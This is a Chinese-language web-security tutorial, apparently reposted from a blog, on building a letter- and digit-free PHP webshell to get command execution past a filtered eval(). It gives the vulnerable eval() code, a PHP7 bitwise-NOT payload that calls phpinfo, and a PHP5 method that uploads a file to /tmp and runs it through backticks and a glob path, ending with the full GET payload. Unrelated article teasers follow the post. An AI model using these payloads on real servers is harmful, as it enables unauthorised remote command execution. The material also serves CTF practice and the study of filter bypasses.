php5构造无字母数字的webshell实现任意命令执行

news2024/10/7 18:23:23

目录

引言

如果是在php7

如果是在php5

现在我们来上传文件

最后的结果:


看本篇前可以先看这一篇:利用异或、取反、自增bypass_webshell_waf-CSDN博客

引言

上一篇介绍了如何构造出一个无字母数字的webshell,但是如果后端的代码变成了这样:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

这里过滤了大小写字母、数字、_、$,因此我们上一篇介绍的利用$和_的方式都无法实现了,那么应该怎么构造webshell呢?

如果是在php7

php7中这个问题并不是很难解决,PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。

所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。

因为有大小写字母的限制,我们首先需要将phpinfo这个字符串转换为URL编码:

<?php
$a = "phpinfo";
echo urlencode(~$a);

 

那么就可以构造一个如此的payload了:

(~%8F%97%8F%96%91%99%90)();

如果是在php5

此时,如果我们尝试用PHP7的payload,将会得到一个错误:

原因就是php5并不支持这种表达方式。

那么这个问题现在呢应该怎么解决呢?

操作系统里包含的最重要的两个功能就是“shell(系统命令)”“文件系统”,很多木马与远控其实也只实现了这两个功能。

PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。

那么,在使用PHP无法解决问题的情况下,为何不考虑用“反引号”+“shell”的方式来getshell呢?

因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时还有两个有趣的Linux shell知识点需要理解:

1、shell下可以利用. 来执行任意脚本

它的作用和source一样,就是用当前的shell执行一个文件中的命令。

比如:当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

可以尝试编辑这样一个文件:

vim id.txt 

echo id

然后使用.来执行一下

. id.txt 
id

 可以看到确实是执行了

. file执行文件,是不需要file有x权限的。

那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

2、Linux文件名支持用glob通配符代替

执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符

  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

先不看有这么多的文件,就在执行第一个匹配上的文件(即/bin/abrt-cli)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件,发现所有文件名都是小写,只有PHP生成的临时文件包含大写字母。

那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

那么,我们可以利用[@-[]来表示大写字母:

. /???/????????[@-[]

现在我们来上传文件

web.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <form action="web1.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upload_file" id="">
        <input type="submit" value="submit">
    </form>
</body>

</html>

 

web.php

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

web1.php

这是是用来显示文件的上传信息的

<?php var_dump($_FILES);

注意,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

首先我们编写一个文件来用作测试:

现在我们可以尝试在上传文件后进行抓包:

web1.php包:

web.php包:

然后我们将web1.php包中post的值移动到web.php文件中,构造出一个上传文件

还有将Content-Type: multipart/form-data;增加到web.php包中

现在我们就可以在这里使用POST构造出临时文件,使用GET匹配临时文件

GE传入的T参数:

?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f%[%40-[]`%3b

最后的结果:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1276470.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

除了定位导航,北斗卫星还能授时?

众所周知&#xff0c;我们可以通过钟表、手机、电脑、广播以及新闻联播等方式来获取时间信息&#xff08;北京时间&#xff09;&#xff0c;那大家有没有想过&#xff0c;这些时间信息又是从哪里来的呢&#xff1f;为啥我们随时随地都能获取准确的时间信息呢&#xff1f;今天咱…

centos上安装并持久化配置LVS

1 实验背景 1&#xff09;系统版本&#xff1a;centos7.8 2&#xff09;虚拟机&#xff1a;3个centos虚拟机&#xff0c;&#xff08;其中一个做Director Server,另外两个做Real Server) 3) LVS大致有NAT ,DR ,Tun这三种模式&#xff0c;这里搭建一个典型的DR模式的LVS Direc…

[二分查找]LeetCode1964:找出到每个位置为止最长的有效障碍赛跑路线

本文涉及的基础知识点 二分查找算法合集 作者推荐 动态规划LeetCode2552&#xff1a;优化了6版的1324模式 题目 你打算构建一些障碍赛跑路线。给你一个 下标从 0 开始 的整数数组 obstacles &#xff0c;数组长度为 n &#xff0c;其中 obstacles[i] 表示第 i 个障碍的高度…

nvidia安装出现7-zip crc error解决办法

解决办法&#xff1a;下载network版本&#xff0c;重新安装。&#xff08;选择自己需要的版本&#xff09; 网址&#xff1a;CUDA Toolkit 12.3 Update 1 Downloads | NVIDIA Developer 分析原因&#xff1a;local版本的安装包可能在下载过程中出现损坏。 本人尝试过全网说的…

PT读spef报PARA-006如何解决?

我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧? 拾陆楼知识星球入口 There are multiple causes that can trigger PARA-006 errors. Here is a checklist. 1) SPEF reading order Functionally, the parasitic files can be read in any order. For best stitching…

许战海战略文库|重回大众视野的健力宝如何重生

摘要&#xff1a;销售额连续7年没有增长;产业主品牌定位不清晰;产品不协同缺少产品战略;子品牌无法形成合力新产品共性不足;过度差异化缺少渠道战略;被渠道能力更强的品牌挤压。火遍世界的“东方魔水”从第一品牌到被人遗忘&#xff0c;健力宝该如何重生? 健力宝诞生于1984年&…

Flutter学习(七)GetX offAllNamed使用的问题

背景 使用GetX开发应用的时候&#xff0c;也可能有人调用过offAllNamed&#xff0c;会发现所有controller的都被销毁了 环境 win10 getx 4.6.5 as 4 现象 从A页面&#xff0c;跳转到B页面&#xff0c;然后调用offAllNamed进行回到A页面&#xff0c;观察controller声明周期…

企业如何进行数据资产化?

首先我们要了解什么是数据资产 关于数据资产的定义&#xff0c;最开始是有一些的。比如在国民经济核算领域&#xff0c;认为资产是根据所有权原则界定的经济资产&#xff0c;即资产必须为某个或某些经济单位所拥有&#xff0c;其所有者因持有或使用它们而获得经济利益。更多强调…

WordPress采集器自动采集发布的工具

WordPress作为最受欢迎的内容管理系统之一&#xff0c;其强大的功能和灵活性使其成为许多网站、博客和电子商务平台的首选。WordPress采集器自动采集发布内置采集规则是一项备受关注的功能&#xff0c;让用户可以轻松收集并发布内容。WordPress采集器自动采集发布内置采集规则的…

3.3 路由器的远程配置

实验3.3 路由器的远程配置 一、任务描述二、任务分析三、具体要求四、实验拓扑五、任务实施&#xff08;一&#xff09;、配置通过Telnet登录系统1.RA的基本配置2.RB的基本配置3.在RA上配置Telnet用户登录界面 &#xff08;二&#xff09;、配置通过STelnet登录系统1.RA的基本配…

让SaaS盈利的两个驱动力

内容来自演讲&#xff1a;张星亮 | 六度人和&#xff08;EC&#xff09;| 创始人兼CEO 摘要 文章主要介绍了 SaaS 行业的发展趋势和盈利的两个驱动力&#xff1a;分工和AI。 首先&#xff0c;分工是提高效率和降低成本的关键。文章提到了 SaaS 行业正在从一体化向组合型销售…

用通俗的方法讲解:大模型微调训练详细说明(附理论+实践代码)

本文内容如下 介绍了大模型训练的微调方法&#xff0c;包括prompt tuning、prefix tuning、LoRA、p-tuning和AdaLoRA等。 介绍了使用deepspeed和LoRA进行大模型训练的相关代码。 给出了petals的介绍&#xff0c;它可以将模型划分为多个块&#xff0c;每个用户的机器负责其中一…

基于SpringBoot校园周边美食探索及分享平台的设计与实现

摘要&#xff1a; 美食一直是与人们日常生活息息相关的产业。传统的电话订餐或者到店消费已经不能适应市场发展的需求。随着网络的迅速崛起&#xff0c;互联网日益成为提供信息的最佳俱渠道和逐步走向传统的流通领域&#xff0c;传统的美食业进而也面临着巨大的挑战&#xff0c…

Todesk 无法登录,无法联网

前言 我习惯用todesk远程ubuntu&#xff0c;但是突然发现掉线了&#xff0c;但是ssh还能连接 问题查找 1.ping 一下主机ip 2.ssh连接后&#xff0c;ping 一下百度&#xff0c;查看是否外网正常 3.输入一下命令 ps -ef | grep todesk #查看todesk 进程 sudo kill -9 ....…

红队攻防实战之某商城Getshell

此后如竟没有炬火&#xff0c;我便是唯一的光 信息收集 端口扫描 nmap -T4 -A -p 1-65535 可以看到目标系统开放22、80、888、3306、8800端口 敏感文件扫描 http:///admin/login.html 后台登陆地址泄露 漏洞挖掘 phpinfo信息泄露 phpinfo信息泄露&#xff0c;此站为Linu…

Linux环境下ARM开发

目录 前言ARM启动及开发基础1.Cortex-A架构2.启动方式3.汇编基础4.Makefile语法基础5.Makefile补充6.编译下载 结语 前言 主要介绍基于linux开发环境下&#xff0c;如何开发ARM A7 ARM启动及开发基础 1.Cortex-A架构 1&#xff09;Cortex-A7运行模式 模式说明User(USR)用户模…

element中el-input限制只输入正整数或保留两位小数

文章目录 一、前言二、实现2.1、HTML2.2、只输入正整数2.3、只能输入数字或小数点 三、最后 一、前言 常见的el-input可能会限制用户只能输入正整数或保留两位小数&#xff0c;达到输入金额的需求&#xff0c;点击【跳转】访问el-input的官方文档 element-ui是有el-input-numb…

Git的介绍和下载安装

Git的介绍和下载安装 概述 Git是一个分布式版本控制工具, 通常用来管理项目中的源代码文件(Java类、xml文件、html页面等)进行管理,在软件开发过程中被广泛使用 Git可以记录文件修改的历史记录并形成备份从而实现代码回溯, 版本切换, 多人协作, 远程备份的功能Git具有廉价的…

VSC++=》 拆解整数对号入座重组

void 拆解整数对号入座重组(int& 数, bool 选 true) {int 对号[10]{}, j 选 ? 9 : 0, 反 0, 基 1;while (数)对号[数 % 10], 数 / 10;if (选)while (j > 0)if (对号[j])数 * 10, 数 j, (反 ? 基 * 10 : 0), 反 基 * j, --对号[j]; else --j;else while (j < …

UI自动化Selenium find_elements和find_element的区别

# 如果获取的element是list&#xff0c;那么需要用find_elements方法&#xff1b;此方法会返回list&#xff0c;然后使用len() 方法&#xff0c;计算对象的个数&#xff1b; # find_element方法返回的不是list对象&#xff0c;所以导致没办法计算对象个数 # 1.返回值类型不同…